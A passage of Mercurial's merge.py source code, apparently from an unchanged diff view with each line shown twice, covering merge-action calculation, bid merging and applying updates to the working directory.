1477 checkpathconflicts(repo, wctx, p2, actions)
1477 checkpathconflicts(repo, wctx, p2, actions)
1478
1478
1479 narrowmatch = repo.narrowmatch()
1479 narrowmatch = repo.narrowmatch()
1480 if not narrowmatch.always():
1480 if not narrowmatch.always():
1481 # Updates "actions" in place
1481 # Updates "actions" in place
1482 _filternarrowactions(narrowmatch, branchmerge, actions)
1482 _filternarrowactions(narrowmatch, branchmerge, actions)
1483
1483
1484 return actions, diverge, renamedelete
1484 return actions, diverge, renamedelete
1485
1485
1486
1486
1487 def _resolvetrivial(repo, wctx, mctx, ancestor, actions):
1487 def _resolvetrivial(repo, wctx, mctx, ancestor, actions):
1488 """Resolves false conflicts where the nodeid changed but the content
1488 """Resolves false conflicts where the nodeid changed but the content
1489 remained the same."""
1489 remained the same."""
1490 # We force a copy of actions.items() because we're going to mutate
1490 # We force a copy of actions.items() because we're going to mutate
1491 # actions as we resolve trivial conflicts.
1491 # actions as we resolve trivial conflicts.
1492 for f, (m, args, msg) in list(actions.items()):
1492 for f, (m, args, msg) in list(actions.items()):
1493 if (
1493 if (
1494 m == ACTION_CHANGED_DELETED
1494 m == ACTION_CHANGED_DELETED
1495 and f in ancestor
1495 and f in ancestor
1496 and not wctx[f].cmp(ancestor[f])
1496 and not wctx[f].cmp(ancestor[f])
1497 ):
1497 ):
1498 # local did change but ended up with same content
1498 # local did change but ended up with same content
1499 actions[f] = ACTION_REMOVE, None, b'prompt same'
1499 actions[f] = ACTION_REMOVE, None, b'prompt same'
1500 elif (
1500 elif (
1501 m == ACTION_DELETED_CHANGED
1501 m == ACTION_DELETED_CHANGED
1502 and f in ancestor
1502 and f in ancestor
1503 and not mctx[f].cmp(ancestor[f])
1503 and not mctx[f].cmp(ancestor[f])
1504 ):
1504 ):
1505 # remote did change but ended up with same content
1505 # remote did change but ended up with same content
1506 del actions[f] # don't get = keep local deleted
1506 del actions[f] # don't get = keep local deleted
1507
1507
1508
1508
1509 def calculateupdates(
1509 def calculateupdates(
1510 repo,
1510 repo,
1511 wctx,
1511 wctx,
1512 mctx,
1512 mctx,
1513 ancestors,
1513 ancestors,
1514 branchmerge,
1514 branchmerge,
1515 force,
1515 force,
1516 acceptremote,
1516 acceptremote,
1517 followcopies,
1517 followcopies,
1518 matcher=None,
1518 matcher=None,
1519 mergeforce=False,
1519 mergeforce=False,
1520 ):
1520 ):
1521 """Calculate the actions needed to merge mctx into wctx using ancestors"""
1521 """Calculate the actions needed to merge mctx into wctx using ancestors"""
1522 # Avoid cycle.
1522 # Avoid cycle.
1523 from . import sparse
1523 from . import sparse
1524
1524
1525 if len(ancestors) == 1: # default
1525 if len(ancestors) == 1: # default
1526 actions, diverge, renamedelete = manifestmerge(
1526 actions, diverge, renamedelete = manifestmerge(
1527 repo,
1527 repo,
1528 wctx,
1528 wctx,
1529 mctx,
1529 mctx,
1530 ancestors[0],
1530 ancestors[0],
1531 branchmerge,
1531 branchmerge,
1532 force,
1532 force,
1533 matcher,
1533 matcher,
1534 acceptremote,
1534 acceptremote,
1535 followcopies,
1535 followcopies,
1536 )
1536 )
1537 _checkunknownfiles(repo, wctx, mctx, force, actions, mergeforce)
1537 _checkunknownfiles(repo, wctx, mctx, force, actions, mergeforce)
1538
1538
1539 else: # only when merge.preferancestor=* - the default
1539 else: # only when merge.preferancestor=* - the default
1540 repo.ui.note(
1540 repo.ui.note(
1541 _(b"note: merging %s and %s using bids from ancestors %s\n")
1541 _(b"note: merging %s and %s using bids from ancestors %s\n")
1542 % (
1542 % (
1543 wctx,
1543 wctx,
1544 mctx,
1544 mctx,
1545 _(b' and ').join(pycompat.bytestr(anc) for anc in ancestors),
1545 _(b' and ').join(pycompat.bytestr(anc) for anc in ancestors),
1546 )
1546 )
1547 )
1547 )
1548
1548
1549 # Call for bids
1549 # Call for bids
1550 fbids = (
1550 fbids = (
1551 {}
1551 {}
1552 ) # mapping filename to bids (action method to list af actions)
1552 ) # mapping filename to bids (action method to list af actions)
1553 diverge, renamedelete = None, None
1553 diverge, renamedelete = None, None
1554 for ancestor in ancestors:
1554 for ancestor in ancestors:
1555 repo.ui.note(_(b'\ncalculating bids for ancestor %s\n') % ancestor)
1555 repo.ui.note(_(b'\ncalculating bids for ancestor %s\n') % ancestor)
1556 actions, diverge1, renamedelete1 = manifestmerge(
1556 actions, diverge1, renamedelete1 = manifestmerge(
1557 repo,
1557 repo,
1558 wctx,
1558 wctx,
1559 mctx,
1559 mctx,
1560 ancestor,
1560 ancestor,
1561 branchmerge,
1561 branchmerge,
1562 force,
1562 force,
1563 matcher,
1563 matcher,
1564 acceptremote,
1564 acceptremote,
1565 followcopies,
1565 followcopies,
1566 forcefulldiff=True,
1566 forcefulldiff=True,
1567 )
1567 )
1568 _checkunknownfiles(repo, wctx, mctx, force, actions, mergeforce)
1568 _checkunknownfiles(repo, wctx, mctx, force, actions, mergeforce)
1569
1569
1570 # Track the shortest set of warning on the theory that bid
1570 # Track the shortest set of warning on the theory that bid
1571 # merge will correctly incorporate more information
1571 # merge will correctly incorporate more information
1572 if diverge is None or len(diverge1) < len(diverge):
1572 if diverge is None or len(diverge1) < len(diverge):
1573 diverge = diverge1
1573 diverge = diverge1
1574 if renamedelete is None or len(renamedelete) < len(renamedelete1):
1574 if renamedelete is None or len(renamedelete) < len(renamedelete1):
1575 renamedelete = renamedelete1
1575 renamedelete = renamedelete1
1576
1576
1577 for f, a in sorted(pycompat.iteritems(actions)):
1577 for f, a in sorted(pycompat.iteritems(actions)):
1578 m, args, msg = a
1578 m, args, msg = a
1579 repo.ui.debug(b' %s: %s -> %s\n' % (f, msg, m))
1579 repo.ui.debug(b' %s: %s -> %s\n' % (f, msg, m))
1580 if f in fbids:
1580 if f in fbids:
1581 d = fbids[f]
1581 d = fbids[f]
1582 if m in d:
1582 if m in d:
1583 d[m].append(a)
1583 d[m].append(a)
1584 else:
1584 else:
1585 d[m] = [a]
1585 d[m] = [a]
1586 else:
1586 else:
1587 fbids[f] = {m: [a]}
1587 fbids[f] = {m: [a]}
1588
1588
1589 # Pick the best bid for each file
1589 # Pick the best bid for each file
1590 repo.ui.note(_(b'\nauction for merging merge bids\n'))
1590 repo.ui.note(_(b'\nauction for merging merge bids\n'))
1591 actions = {}
1591 actions = {}
1592 for f, bids in sorted(fbids.items()):
1592 for f, bids in sorted(fbids.items()):
1593 # bids is a mapping from action method to list af actions
1593 # bids is a mapping from action method to list af actions
1594 # Consensus?
1594 # Consensus?
1595 if len(bids) == 1: # all bids are the same kind of method
1595 if len(bids) == 1: # all bids are the same kind of method
1596 m, l = list(bids.items())[0]
1596 m, l = list(bids.items())[0]
1597 if all(a == l[0] for a in l[1:]): # len(bids) is > 1
1597 if all(a == l[0] for a in l[1:]): # len(bids) is > 1
1598 repo.ui.note(_(b" %s: consensus for %s\n") % (f, m))
1598 repo.ui.note(_(b" %s: consensus for %s\n") % (f, m))
1599 actions[f] = l[0]
1599 actions[f] = l[0]
1600 continue
1600 continue
1601 # If keep is an option, just do it.
1601 # If keep is an option, just do it.
1602 if ACTION_KEEP in bids:
1602 if ACTION_KEEP in bids:
1603 repo.ui.note(_(b" %s: picking 'keep' action\n") % f)
1603 repo.ui.note(_(b" %s: picking 'keep' action\n") % f)
1604 actions[f] = bids[ACTION_KEEP][0]
1604 actions[f] = bids[ACTION_KEEP][0]
1605 continue
1605 continue
1606 # If there are gets and they all agree [how could they not?], do it.
1606 # If there are gets and they all agree [how could they not?], do it.
1607 if ACTION_GET in bids:
1607 if ACTION_GET in bids:
1608 ga0 = bids[ACTION_GET][0]
1608 ga0 = bids[ACTION_GET][0]
1609 if all(a == ga0 for a in bids[ACTION_GET][1:]):
1609 if all(a == ga0 for a in bids[ACTION_GET][1:]):
1610 repo.ui.note(_(b" %s: picking 'get' action\n") % f)
1610 repo.ui.note(_(b" %s: picking 'get' action\n") % f)
1611 actions[f] = ga0
1611 actions[f] = ga0
1612 continue
1612 continue
1613 # TODO: Consider other simple actions such as mode changes
1613 # TODO: Consider other simple actions such as mode changes
1614 # Handle inefficient democrazy.
1614 # Handle inefficient democrazy.
1615 repo.ui.note(_(b' %s: multiple bids for merge action:\n') % f)
1615 repo.ui.note(_(b' %s: multiple bids for merge action:\n') % f)
1616 for m, l in sorted(bids.items()):
1616 for m, l in sorted(bids.items()):
1617 for _f, args, msg in l:
1617 for _f, args, msg in l:
1618 repo.ui.note(b' %s -> %s\n' % (msg, m))
1618 repo.ui.note(b' %s -> %s\n' % (msg, m))
1619 # Pick random action. TODO: Instead, prompt user when resolving
1619 # Pick random action. TODO: Instead, prompt user when resolving
1620 m, l = list(bids.items())[0]
1620 m, l = list(bids.items())[0]
1621 repo.ui.warn(
1621 repo.ui.warn(
1622 _(b' %s: ambiguous merge - picked %s action\n') % (f, m)
1622 _(b' %s: ambiguous merge - picked %s action\n') % (f, m)
1623 )
1623 )
1624 actions[f] = l[0]
1624 actions[f] = l[0]
1625 continue
1625 continue
1626 repo.ui.note(_(b'end of auction\n\n'))
1626 repo.ui.note(_(b'end of auction\n\n'))
1627
1627
1628 if wctx.rev() is None:
1628 if wctx.rev() is None:
1629 fractions = _forgetremoved(wctx, mctx, branchmerge)
1629 fractions = _forgetremoved(wctx, mctx, branchmerge)
1630 actions.update(fractions)
1630 actions.update(fractions)
1631
1631
1632 prunedactions = sparse.filterupdatesactions(
1632 prunedactions = sparse.filterupdatesactions(
1633 repo, wctx, mctx, branchmerge, actions
1633 repo, wctx, mctx, branchmerge, actions
1634 )
1634 )
1635 _resolvetrivial(repo, wctx, mctx, ancestors[0], actions)
1635 _resolvetrivial(repo, wctx, mctx, ancestors[0], actions)
1636
1636
1637 return prunedactions, diverge, renamedelete
1637 return prunedactions, diverge, renamedelete
1638
1638
1639
1639
1640 def _getcwd():
1640 def _getcwd():
1641 try:
1641 try:
1642 return encoding.getcwd()
1642 return encoding.getcwd()
1643 except OSError as err:
1643 except OSError as err:
1644 if err.errno == errno.ENOENT:
1644 if err.errno == errno.ENOENT:
1645 return None
1645 return None
1646 raise
1646 raise
1647
1647
1648
1648
1649 def batchremove(repo, wctx, actions):
1649 def batchremove(repo, wctx, actions):
1650 """apply removes to the working directory
1650 """apply removes to the working directory
1651
1651
1652 yields tuples for progress updates
1652 yields tuples for progress updates
1653 """
1653 """
1654 verbose = repo.ui.verbose
1654 verbose = repo.ui.verbose
1655 cwd = _getcwd()
1655 cwd = _getcwd()
1656 i = 0
1656 i = 0
1657 for f, args, msg in actions:
1657 for f, args, msg in actions:
1658 repo.ui.debug(b" %s: %s -> r\n" % (f, msg))
1658 repo.ui.debug(b" %s: %s -> r\n" % (f, msg))
1659 if verbose:
1659 if verbose:
1660 repo.ui.note(_(b"removing %s\n") % f)
1660 repo.ui.note(_(b"removing %s\n") % f)
1661 wctx[f].audit()
1661 wctx[f].audit()
1662 try:
1662 try:
1663 wctx[f].remove(ignoremissing=True)
1663 wctx[f].remove(ignoremissing=True)
1664 except OSError as inst:
1664 except OSError as inst:
1665 repo.ui.warn(
1665 repo.ui.warn(
1666 _(b"update failed to remove %s: %s!\n") % (f, inst.strerror)
1666 _(b"update failed to remove %s: %s!\n") % (f, inst.strerror)
1667 )
1667 )
1668 if i == 100:
1668 if i == 100:
1669 yield i, f
1669 yield i, f
1670 i = 0
1670 i = 0
1671 i += 1
1671 i += 1
1672 if i > 0:
1672 if i > 0:
1673 yield i, f
1673 yield i, f
1674
1674
1675 if cwd and not _getcwd():
1675 if cwd and not _getcwd():
1676 # cwd was removed in the course of removing files; print a helpful
1676 # cwd was removed in the course of removing files; print a helpful
1677 # warning.
1677 # warning.
1678 repo.ui.warn(
1678 repo.ui.warn(
1679 _(
1679 _(
1680 b"current directory was removed\n"
1680 b"current directory was removed\n"
1681 b"(consider changing to repo root: %s)\n"
1681 b"(consider changing to repo root: %s)\n"
1682 )
1682 )
1683 % repo.root
1683 % repo.root
1684 )
1684 )
1685
1685
1686
1686
1687 def batchget(repo, mctx, wctx, wantfiledata, actions):
1687 def batchget(repo, mctx, wctx, wantfiledata, actions):
1688 """apply gets to the working directory
1688 """apply gets to the working directory
1689
1689
1690 mctx is the context to get from
1690 mctx is the context to get from
1691
1691
1692 Yields arbitrarily many (False, tuple) for progress updates, followed by
1692 Yields arbitrarily many (False, tuple) for progress updates, followed by
1693 exactly one (True, filedata). When wantfiledata is false, filedata is an
1693 exactly one (True, filedata). When wantfiledata is false, filedata is an
1694 empty dict. When wantfiledata is true, filedata[f] is a triple (mode, size,
1694 empty dict. When wantfiledata is true, filedata[f] is a triple (mode, size,
1695 mtime) of the file f written for each action.
1695 mtime) of the file f written for each action.
1696 """
1696 """
1697 filedata = {}
1697 filedata = {}
1698 verbose = repo.ui.verbose
1698 verbose = repo.ui.verbose
1699 fctx = mctx.filectx
1699 fctx = mctx.filectx
1700 ui = repo.ui
1700 ui = repo.ui
1701 i = 0
1701 i = 0
1702 with repo.wvfs.backgroundclosing(ui, expectedcount=len(actions)):
1702 with repo.wvfs.backgroundclosing(ui, expectedcount=len(actions)):
1703 for f, (flags, backup), msg in actions:
1703 for f, (flags, backup), msg in actions:
1704 repo.ui.debug(b" %s: %s -> g\n" % (f, msg))
1704 repo.ui.debug(b" %s: %s -> g\n" % (f, msg))
1705 if verbose:
1705 if verbose:
1706 repo.ui.note(_(b"getting %s\n") % f)
1706 repo.ui.note(_(b"getting %s\n") % f)
1707
1707
1708 if backup:
1708 if backup:
1709 # If a file or directory exists with the same name, back that
1709 # If a file or directory exists with the same name, back that
1710 # up. Otherwise, look to see if there is a file that conflicts
1710 # up. Otherwise, look to see if there is a file that conflicts
1711 # with a directory this file is in, and if so, back that up.
1711 # with a directory this file is in, and if so, back that up.
1712 conflicting = f
1712 conflicting = f
1713 if not repo.wvfs.lexists(f):
1713 if not repo.wvfs.lexists(f):
1714 for p in pathutil.finddirs(f):
1714 for p in pathutil.finddirs(f):
1715 if repo.wvfs.isfileorlink(p):
1715 if repo.wvfs.isfileorlink(p):
1716 conflicting = p
1716 conflicting = p
1717 break
1717 break
1718 if repo.wvfs.lexists(conflicting):
1718 if repo.wvfs.lexists(conflicting):
1719 orig = scmutil.backuppath(ui, repo, conflicting)
1719 orig = scmutil.backuppath(ui, repo, conflicting)
1720 util.rename(repo.wjoin(conflicting), orig)
1720 util.rename(repo.wjoin(conflicting), orig)
1721 wfctx = wctx[f]
1721 wfctx = wctx[f]
1722 wfctx.clearunknown()
1722 wfctx.clearunknown()
1723 atomictemp = ui.configbool(b"experimental", b"update.atomic-file")
1723 atomictemp = ui.configbool(b"experimental", b"update.atomic-file")
1724 size = wfctx.write(
1724 size = wfctx.write(
1725 fctx(f).data(),
1725 fctx(f).data(),
1726 flags,
1726 flags,
1727 backgroundclose=True,
1727 backgroundclose=True,
1728 atomictemp=atomictemp,
1728 atomictemp=atomictemp,
1729 )
1729 )
1730 if wantfiledata:
1730 if wantfiledata:
1731 s = wfctx.lstat()
1731 s = wfctx.lstat()
1732 mode = s.st_mode
1732 mode = s.st_mode
1733 mtime = s[stat.ST_MTIME]
1733 mtime = s[stat.ST_MTIME]
1734 filedata[f] = (mode, size, mtime) # for dirstate.normal
1734 filedata[f] = (mode, size, mtime) # for dirstate.normal
1735 if i == 100:
1735 if i == 100:
1736 yield False, (i, f)
1736 yield False, (i, f)
1737 i = 0
1737 i = 0
1738 i += 1
1738 i += 1
1739 if i > 0:
1739 if i > 0:
1740 yield False, (i, f)
1740 yield False, (i, f)
1741 yield True, filedata
1741 yield True, filedata
1742
1742
1743
1743
1744 def _prefetchfiles(repo, ctx, actions):
1744 def _prefetchfiles(repo, ctx, actions):
1745 """Invoke ``scmutil.prefetchfiles()`` for the files relevant to the dict
1745 """Invoke ``scmutil.prefetchfiles()`` for the files relevant to the dict
1746 of merge actions. ``ctx`` is the context being merged in."""
1746 of merge actions. ``ctx`` is the context being merged in."""
1747
1747
1748 # Skipping 'a', 'am', 'f', 'r', 'dm', 'e', 'k', 'p' and 'pr', because they
1748 # Skipping 'a', 'am', 'f', 'r', 'dm', 'e', 'k', 'p' and 'pr', because they
1749 # don't touch the context to be merged in. 'cd' is skipped, because
1749 # don't touch the context to be merged in. 'cd' is skipped, because
1750 # changed/deleted never resolves to something from the remote side.
1750 # changed/deleted never resolves to something from the remote side.
1751 oplist = [
1751 oplist = [
1752 actions[a]
1752 actions[a]
1753 for a in (
1753 for a in (
1754 ACTION_GET,
1754 ACTION_GET,
1755 ACTION_DELETED_CHANGED,
1755 ACTION_DELETED_CHANGED,
1756 ACTION_LOCAL_DIR_RENAME_GET,
1756 ACTION_LOCAL_DIR_RENAME_GET,
1757 ACTION_MERGE,
1757 ACTION_MERGE,
1758 )
1758 )
1759 ]
1759 ]
1760 prefetch = scmutil.prefetchfiles
1760 prefetch = scmutil.prefetchfiles
1761 matchfiles = scmutil.matchfiles
1761 matchfiles = scmutil.matchfiles
1762 prefetch(
1762 prefetch(
1763 repo,
1763 repo,
1764 [ctx.rev()],
1764 [ctx.rev()],
1765 matchfiles(repo, [f for sublist in oplist for f, args, msg in sublist]),
1765 matchfiles(repo, [f for sublist in oplist for f, args, msg in sublist]),
1766 )
1766 )
1767
1767
1768
1768
1769 @attr.s(frozen=True)
1769 @attr.s(frozen=True)
1770 class updateresult(object):
1770 class updateresult(object):
1771 updatedcount = attr.ib()
1771 updatedcount = attr.ib()
1772 mergedcount = attr.ib()
1772 mergedcount = attr.ib()
1773 removedcount = attr.ib()
1773 removedcount = attr.ib()
1774 unresolvedcount = attr.ib()
1774 unresolvedcount = attr.ib()
1775
1775
1776 def isempty(self):
1776 def isempty(self):
1777 return not (
1777 return not (
1778 self.updatedcount
1778 self.updatedcount
1779 or self.mergedcount
1779 or self.mergedcount
1780 or self.removedcount
1780 or self.removedcount
1781 or self.unresolvedcount
1781 or self.unresolvedcount
1782 )
1782 )
1783
1783
1784
1784
1785 def emptyactions():
1785 def emptyactions():
1786 """create an actions dict, to be populated and passed to applyupdates()"""
1786 """create an actions dict, to be populated and passed to applyupdates()"""
1787 return dict(
1787 return dict(
1788 (m, [])
1788 (m, [])
1789 for m in (
1789 for m in (
1790 ACTION_ADD,
1790 ACTION_ADD,
1791 ACTION_ADD_MODIFIED,
1791 ACTION_ADD_MODIFIED,
1792 ACTION_FORGET,
1792 ACTION_FORGET,
1793 ACTION_GET,
1793 ACTION_GET,
1794 ACTION_CHANGED_DELETED,
1794 ACTION_CHANGED_DELETED,
1795 ACTION_DELETED_CHANGED,
1795 ACTION_DELETED_CHANGED,
1796 ACTION_REMOVE,
1796 ACTION_REMOVE,
1797 ACTION_DIR_RENAME_MOVE_LOCAL,
1797 ACTION_DIR_RENAME_MOVE_LOCAL,
1798 ACTION_LOCAL_DIR_RENAME_GET,
1798 ACTION_LOCAL_DIR_RENAME_GET,
1799 ACTION_MERGE,
1799 ACTION_MERGE,
1800 ACTION_EXEC,
1800 ACTION_EXEC,
1801 ACTION_KEEP,
1801 ACTION_KEEP,
1802 ACTION_PATH_CONFLICT,
1802 ACTION_PATH_CONFLICT,
1803 ACTION_PATH_CONFLICT_RESOLVE,
1803 ACTION_PATH_CONFLICT_RESOLVE,
1804 )
1804 )
1805 )
1805 )
1806
1806
1807
1807
1808 def applyupdates(
1808 def applyupdates(
1809 repo, actions, wctx, mctx, overwrite, wantfiledata, labels=None
1809 repo, actions, wctx, mctx, overwrite, wantfiledata, labels=None
1810 ):
1810 ):
1811 """apply the merge action list to the working directory
1811 """apply the merge action list to the working directory
1812
1812
1813 wctx is the working copy context
1813 wctx is the working copy context
1814 mctx is the context to be merged into the working copy
1814 mctx is the context to be merged into the working copy
1815
1815
1816 Return a tuple of (counts, filedata), where counts is a tuple
1816 Return a tuple of (counts, filedata), where counts is a tuple
1817 (updated, merged, removed, unresolved) that describes how many
1817 (updated, merged, removed, unresolved) that describes how many
1818 files were affected by the update, and filedata is as described in
1818 files were affected by the update, and filedata is as described in
1819 batchget.
1819 batchget.
1820 """
1820 """
1821
1821
1822 _prefetchfiles(repo, mctx, actions)
1822 _prefetchfiles(repo, mctx, actions)
1823
1823
1824 updated, merged, removed = 0, 0, 0
1824 updated, merged, removed = 0, 0, 0
1825 ms = mergestate.clean(repo, wctx.p1().node(), mctx.node(), labels)
1825 ms = mergestate.clean(repo, wctx.p1().node(), mctx.node(), labels)
1826 moves = []
1826 moves = []
1827 for m, l in actions.items():
1827 for m, l in actions.items():
1828 l.sort()
1828 l.sort()
1829
1829
1830 # 'cd' and 'dc' actions are treated like other merge conflicts
1830 # 'cd' and 'dc' actions are treated like other merge conflicts
1831 mergeactions = sorted(actions[ACTION_CHANGED_DELETED])
1831 mergeactions = sorted(actions[ACTION_CHANGED_DELETED])
1832 mergeactions.extend(sorted(actions[ACTION_DELETED_CHANGED]))
1832 mergeactions.extend(sorted(actions[ACTION_DELETED_CHANGED]))
1833 mergeactions.extend(actions[ACTION_MERGE])
1833 mergeactions.extend(actions[ACTION_MERGE])
1834 for f, args, msg in mergeactions:
1834 for f, args, msg in mergeactions:
1835 f1, f2, fa, move, anc = args
1835 f1, f2, fa, move, anc = args
1836 if f == b'.hgsubstate': # merged internally
1836 if f == b'.hgsubstate': # merged internally
1837 continue
1837 continue
1838 if f1 is None:
1838 if f1 is None:
1839 fcl = filemerge.absentfilectx(wctx, fa)
1839 fcl = filemerge.absentfilectx(wctx, fa)
1840 else:
1840 else:
1841 repo.ui.debug(b" preserving %s for resolve of %s\n" % (f1, f))
1841 repo.ui.debug(b" preserving %s for resolve of %s\n" % (f1, f))
1842 fcl = wctx[f1]
1842 fcl = wctx[f1]
1843 if f2 is None:
1843 if f2 is None:
1844 fco = filemerge.absentfilectx(mctx, fa)
1844 fco = filemerge.absentfilectx(mctx, fa)
1845 else:
1845 else:
1846 fco = mctx[f2]
1846 fco = mctx[f2]
1847 actx = repo[anc]
1847 actx = repo[anc]
1848 if fa in actx:
1848 if fa in actx:
1849 fca = actx[fa]
1849 fca = actx[fa]
1850 else:
1850 else:
1851 # TODO: move to absentfilectx
1851 # TODO: move to absentfilectx
1852 fca = repo.filectx(f1, fileid=nullrev)
1852 fca = repo.filectx(f1, fileid=nullrev)
1853 ms.add(fcl, fco, fca, f)
1853 ms.add(fcl, fco, fca, f)
1854 if f1 != f and move:
1854 if f1 != f and move:
1855 moves.append(f1)
1855 moves.append(f1)
1856
1856
1857 # remove renamed files after safely stored
1857 # remove renamed files after safely stored
1858 for f in moves:
1858 for f in moves:
1859 if wctx[f].lexists():
1859 if wctx[f].lexists():
1860 repo.ui.debug(b"removing %s\n" % f)
1860 repo.ui.debug(b"removing %s\n" % f)
1861 wctx[f].audit()
1861 wctx[f].audit()
1862 wctx[f].remove()
1862 wctx[f].remove()
1863
1863
1864 numupdates = sum(len(l) for m, l in actions.items() if m != ACTION_KEEP)
1864 numupdates = sum(len(l) for m, l in actions.items() if m != ACTION_KEEP)
1865 progress = repo.ui.makeprogress(
1865 progress = repo.ui.makeprogress(
1866 _(b'updating'), unit=_(b'files'), total=numupdates
1866 _(b'updating'), unit=_(b'files'), total=numupdates
1867 )
1867 )
1868
1868
1869 if [a for a in actions[ACTION_REMOVE] if a[0] == b'.hgsubstate']:
1869 if [a for a in actions[ACTION_REMOVE] if a[0] == b'.hgsubstate']:
1870 subrepoutil.submerge(repo, wctx, mctx, wctx, overwrite, labels)
1870 subrepoutil.submerge(repo, wctx, mctx, wctx, overwrite, labels)
1871
1871
1872 # record path conflicts
1872 # record path conflicts
1873 for f, args, msg in actions[ACTION_PATH_CONFLICT]:
1873 for f, args, msg in actions[ACTION_PATH_CONFLICT]:
1874 f1, fo = args
1874 f1, fo = args
1875 s = repo.ui.status
1875 s = repo.ui.status
1876 s(
1876 s(
1877 _(
1877 _(
1878 b"%s: path conflict - a file or link has the same name as a "
1878 b"%s: path conflict - a file or link has the same name as a "
1879 b"directory\n"
1879 b"directory\n"
1880 )
1880 )
1881 % f
1881 % f
1882 )
1882 )
1883 if fo == b'l':
1883 if fo == b'l':
1884 s(_(b"the local file has been renamed to %s\n") % f1)
1884 s(_(b"the local file has been renamed to %s\n") % f1)
1885 else:
1885 else:
1886 s(_(b"the remote file has been renamed to %s\n") % f1)
1886 s(_(b"the remote file has been renamed to %s\n") % f1)
1887 s(_(b"resolve manually then use 'hg resolve --mark %s'\n") % f)
1887 s(_(b"resolve manually then use 'hg resolve --mark %s'\n") % f)
1888 ms.addpath(f, f1, fo)
1888 ms.addpath(f, f1, fo)
1889 progress.increment(item=f)
1889 progress.increment(item=f)
1890
1890
1891 # When merging in-memory, we can't support worker processes, so set the
1891 # When merging in-memory, we can't support worker processes, so set the
1892 # per-item cost at 0 in that case.
1892 # per-item cost at 0 in that case.
1893 cost = 0 if wctx.isinmemory() else 0.001
1893 cost = 0 if wctx.isinmemory() else 0.001
1894
1894
1895 # remove in parallel (must come before resolving path conflicts and getting)
1895 # remove in parallel (must come before resolving path conflicts and getting)
1896 prog = worker.worker(
1896 prog = worker.worker(
1897 repo.ui, cost, batchremove, (repo, wctx), actions[ACTION_REMOVE]
1897 repo.ui, cost, batchremove, (repo, wctx), actions[ACTION_REMOVE]
1898 )
1898 )
1899 for i, item in prog:
1899 for i, item in prog:
1900 progress.increment(step=i, item=item)
1900 progress.increment(step=i, item=item)
1901 removed = len(actions[ACTION_REMOVE])
1901 removed = len(actions[ACTION_REMOVE])
1902
1902
1903 # resolve path conflicts (must come before getting)
1903 # resolve path conflicts (must come before getting)
1904 for f, args, msg in actions[ACTION_PATH_CONFLICT_RESOLVE]:
1904 for f, args, msg in actions[ACTION_PATH_CONFLICT_RESOLVE]:
1905 repo.ui.debug(b" %s: %s -> pr\n" % (f, msg))
1905 repo.ui.debug(b" %s: %s -> pr\n" % (f, msg))
1906 (f0,) = args
1906 (f0,) = args
1907 if wctx[f0].lexists():
1907 if wctx[f0].lexists():
1908 repo.ui.note(_(b"moving %s to %s\n") % (f0, f))
1908 repo.ui.note(_(b"moving %s to %s\n") % (f0, f))
1909 wctx[f].audit()
1909 wctx[f].audit()
1910 wctx[f].write(wctx.filectx(f0).data(), wctx.filectx(f0).flags())
1910 wctx[f].write(wctx.filectx(f0).data(), wctx.filectx(f0).flags())
1911 wctx[f0].remove()
1911 wctx[f0].remove()
1912 progress.increment(item=f)
1912 progress.increment(item=f)
1913
1913
1914 # get in parallel.
1914 # get in parallel.
1915 threadsafe = repo.ui.configbool(
1915 threadsafe = repo.ui.configbool(
1916 b'experimental', b'worker.wdir-get-thread-safe'
1916 b'experimental', b'worker.wdir-get-thread-safe'
1917 )
1917 )
1918 prog = worker.worker(
1918 prog = worker.worker(
1919 repo.ui,
1919 repo.ui,
1920 cost,
1920 cost,
1921 batchget,
1921 batchget,
1922 (repo, mctx, wctx, wantfiledata),
1922 (repo, mctx, wctx, wantfiledata),
1923 actions[ACTION_GET],
1923 actions[ACTION_GET],
1924 threadsafe=threadsafe,
1924 threadsafe=threadsafe,
1925 hasretval=True,
1925 hasretval=True,
1926 )
1926 )
1927 getfiledata = {}
1927 getfiledata = {}
1928 for final, res in prog:
1928 for final, res in prog:
1929 if final:
1929 if final:
1930 getfiledata = res
1930 getfiledata = res
1931 else:
1931 else:
1932 i, item = res
1932 i, item = res
1933 progress.increment(step=i, item=item)
1933 progress.increment(step=i, item=item)
1934 updated = len(actions[ACTION_GET])
1934 updated = len(actions[ACTION_GET])
1935
1935
1936 if [a for a in actions[ACTION_GET] if a[0] == b'.hgsubstate']:
1936 if [a for a in actions[ACTION_GET] if a[0] == b'.hgsubstate']:
1937 subrepoutil.submerge(repo, wctx, mctx, wctx, overwrite, labels)
1937 subrepoutil.submerge(repo, wctx, mctx, wctx, overwrite, labels)
1938
1938
1939 # forget (manifest only, just log it) (must come first)
1939 # forget (manifest only, just log it) (must come first)
1940 for f, args, msg in actions[ACTION_FORGET]:
1940 for f, args, msg in actions[ACTION_FORGET]:
1941 repo.ui.debug(b" %s: %s -> f\n" % (f, msg))
1941 repo.ui.debug(b" %s: %s -> f\n" % (f, msg))
1942 progress.increment(item=f)
1942 progress.increment(item=f)
1943
1943
1944 # re-add (manifest only, just log it)
1944 # re-add (manifest only, just log it)
1945 for f, args, msg in actions[ACTION_ADD]:
1945 for f, args, msg in actions[ACTION_ADD]:
1946 repo.ui.debug(b" %s: %s -> a\n" % (f, msg))
1946 repo.ui.debug(b" %s: %s -> a\n" % (f, msg))
1947 progress.increment(item=f)
1947 progress.increment(item=f)
1948
1948
1949 # re-add/mark as modified (manifest only, just log it)
1949 # re-add/mark as modified (manifest only, just log it)
1950 for f, args, msg in actions[ACTION_ADD_MODIFIED]:
1950 for f, args, msg in actions[ACTION_ADD_MODIFIED]:
1951 repo.ui.debug(b" %s: %s -> am\n" % (f, msg))
1951 repo.ui.debug(b" %s: %s -> am\n" % (f, msg))
1952 progress.increment(item=f)
1952 progress.increment(item=f)
1953
1953
1954 # keep (noop, just log it)
1954 # keep (noop, just log it)
1955 for f, args, msg in actions[ACTION_KEEP]:
1955 for f, args, msg in actions[ACTION_KEEP]:
1956 repo.ui.debug(b" %s: %s -> k\n" % (f, msg))
1956 repo.ui.debug(b" %s: %s -> k\n" % (f, msg))
1957 # no progress
1957 # no progress
1958
1958
1959 # directory rename, move local
1959 # directory rename, move local
1960 for f, args, msg in actions[ACTION_DIR_RENAME_MOVE_LOCAL]:
1960 for f, args, msg in actions[ACTION_DIR_RENAME_MOVE_LOCAL]:
1961 repo.ui.debug(b" %s: %s -> dm\n" % (f, msg))
1961 repo.ui.debug(b" %s: %s -> dm\n" % (f, msg))
1962 progress.increment(item=f)
1962 progress.increment(item=f)
1963 f0, flags = args
1963 f0, flags = args
1964 repo.ui.note(_(b"moving %s to %s\n") % (f0, f))
